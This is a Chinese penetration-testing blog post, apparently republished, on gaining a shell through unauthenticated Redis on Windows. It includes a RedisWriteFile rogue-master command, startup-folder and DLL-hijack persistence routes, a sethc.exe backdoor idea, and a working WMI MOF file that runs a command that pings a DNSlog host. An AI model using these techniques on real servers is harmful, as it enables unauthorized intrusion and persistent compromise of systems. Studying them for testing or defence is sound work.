zoukankan      html  css  js  c++  java
  • 踩坑记录-Redis(Windows)的getshell

    Author:Hunter@深蓝攻防实验室

    0x00 老朋友Redis

    曾经无数次遇到未授权或弱口令的Redis都会欣喜若狂,基本上可以说未授权约等于getshell。但近期的几次比赛中却遇到了Windows上的Redis...
    说到Linux上的Redis,getshell的路子无非两类:一类是直接写入文件,可以是webshell也可以是计划任务,亦或是ssh公钥;另一种是Redis4.x、5.x上的主从getshell,这比写东西来的更直接方便。
    到了Windows上,事情变得难搞了。首先,Windows的启动项和计划任务并不是以文本形式保存在固定位置的,因此这条路行不通;Web目录写马条件又比较苛刻,首先这台机器上要有Web,其次还要有机会泄露Web的绝对路径;而Windows的Redis最新版本还停留在3.2,利用主从漏洞直接getshell也没戏了。
    查遍了网上现有的文章发现所有的方法都有局限性,但也不妨做个整理或尝试一下其他途径,在不同的场景下说不准哪一种就可以利用呢?

    0x01 写无损文件

    在生产环境中,直接通过Redis写文件很可能会携带脏数据,由于Windows环境对Redis的getshell并不友好,很多操作并不是直接getshell,可能需要利用Redis写入二进制文件、快捷方式等,那么这个时候写入无损文件就非常重要了。
    这里推荐一款工具——RedisWriteFile。其原理是利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave,这里master的数据空间是可以保证绝对干净的,因此就轻松实现了写无损文件了。
    命令格式如下:
    python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]
    给出该工具的下载地址:RedisWriteFile
    在我们的服务器中运行该脚本(目标Redis一定要能回连我们的服务器才行):

    Redis服务器中显示其被设置为slave,同步数据并写入文件:

    0x02 getshell

    从上面的描述以及测试可以确定,目前我们有一个Redis用户权限进行任意写,因此问题也就等价于:在Windows中如何通过新建/覆盖文件达到执行任意命令的效果。

    1.最理想的情况

    如果碰到Redis的机器上有Web,并且可以泄露其绝对路径的话那真是撞大运了,直接写Webshell即可。

    2.启动项

    这也是网上各种“教程”中最常提到的方法。有些文章中玩出了花样,有用ps脚本的、远程加载ps脚本的、下载到本地执行的......但其实终究还是没有脱离启动项这个trigger。可以参考这篇文章,利用白名单程序比直接写exe马要更隐蔽
    和Linux不太相同,Windows的自启动有几类:系统服务、计划任务、注册表启动项、用户的startup目录。其中前三种是无法通过单纯向某目录中写文件实现精准篡改的,因此只有startup目录可以利用。
    startup的绝对路径如下:
    C:Users[username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
    虽然想知道用户名并不容易,但把常用的用户名挨个跑一遍,万一就成功了呢?
    如果目录不存在,写操作会失败,报错信息如下:

    若目录存在,但没有权限写入,报错信息如下:

    若目录存在,且写文件成功,如下:

    这里其实是在赌一件事情:管理员将Redis添加了服务项并配了一个高权限(如Administrator甚至SYSTEM),这样的话默认账户的路径就一定可写了。
    当然,启动项写进去了,还要让主机重启才可以生效,如果没有BDoS类的漏洞也就只能被动等待,这是比较尴尬的。

    3.篡改&劫持

    这里主要指的是通过写文件覆盖已有的文件或劫持DLL以达到欺骗的目的,虽然还是被动等待上线,但概率明显要比等机器重启要高得多。
    方法包括但不限于如下:

    系统DLL劫持(需要目标重启或注销)
    针对特定软件的DLL劫持(需要知道软件的绝对路径,需要目标一次点击)
    覆写目标的快捷方式(需要知道用户名,需要目标一次点击)
    覆写特定软件的配置文件达到提权目的(目标无需点击或一次点击,主要看是什么软件)
    覆写sethc.exe粘滞键(需要可以登录3389)
    
    #上面涉及系统目录的操作,前提是Redis权限很高,不然没戏。

    比较通用的方法是向system32目录下写文件,但NT6及以上操作系统的UAC必须关掉,或Redis以SYSTEM权限启动,否则脚本显示成功但实际上是无法写入的。
    关掉UAC后,测试证明普通管理员可成功写入:

    但经过测试这种方法确实有写入的可能,但并不能覆盖原来的文件,还是非常被动。倒不如写个快捷方式马(当然前提还是知道用户名,不然效果也不好):

    4.mof

    如果目标机器是03那就比较幸运了,不用再被动等待人为操作了。
    托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:C:/windows/system32/wbem/mof/nullevt.mof,其作用是每隔五秒就会去监控进程创建和死亡。但这个默认5秒执行一次的设定只有03及以下系统才会有......
    例如如下脚本执行时会执行系统命令:

    #pragma namespace("\\.\root\subscription") 
    
    instance of __EventFilter as $EventFilter 
    { 
        EventNamespace = "Root\Cimv2"; 
        Name  = "filtP2"; 
        Query = "Select * From __InstanceModificationEvent " 
                "Where TargetInstance Isa "Win32_LocalTime" " 
                "And TargetInstance.Second = 5"; 
        QueryLanguage = "WQL"; 
    }; 
    
    instance of ActiveScriptEventConsumer as $Consumer 
    { 
        Name = "consPCSV2"; 
        ScriptingEngine = "JScript"; 
        ScriptText = 
        "var WSH = new ActiveXObject("WScript.Shell")
    WSH.run("ping sfas.g9bubn.ceye.io ")"; 
    }; 
    
    instance of __FilterToConsumerBinding 
    { 
        Consumer   = $Consumer; 
        Filter = $EventFilter; 
    };

    将其保存为nullevt.mof并写入C:/windows/system32/wbem/mof路径下,而且由于03没有默认UAC的控制,只要权限够就可以直接写入。
    写入后几秒钟脚本就会执行,执行成功会放在good文件夹,失败放在bad文件夹。:

    再看DNSlog,收到请求:

    0x03 总结

    总体来说目前Windows的Redis getshell还没有发现直来直去一招通杀的方式。当然这主要是由于Windows自身特性以及Redis不(出)更(新)新(洞)的缘故。
    但就像没有Redis4.x-5.x主从RCE之前的Linux环境一样,碰到了Redis即使知道有一定可能没权限写入,但还是要把最基础的试它一试,最起码常见的用户名目录要尝试写一写,mof尝试写一写,万一就成了呢?
    运气也是实力的一部分,什么都觉得不可能,什么都不做,那就什么都不会有。

  • 相关阅读:
    python测试开发django186.使用 jquery 的 .val() 无法获取input框的输入值(已解决) 上海
    2022年第 10 期《python接口web自动化+测试开发》课程,2月13号开学! 上海
    python测试开发django185.bootstraptable 后端搜索功能实现(queryParams) 上海
    python测试开发django184.bootstraptable 前端分页搜索相关配置 上海
    python测试开发django181.自定义过滤器(除法取余) 上海
    python测试开发django180.dockercompose部署django+mysql环境 上海
    python测试开发django183.bootstrapformvalidation重置校验的方法 上海
    pytest文档79 内置 fixtures 之 cache 写入和读取缓存数据 上海
    python测试开发django182.jQuery重置form表单 上海
    golang interface用法
  • 原文地址:https://www.cnblogs.com/0daybug/p/13246718.html
Copyright © 2011-2022 走看看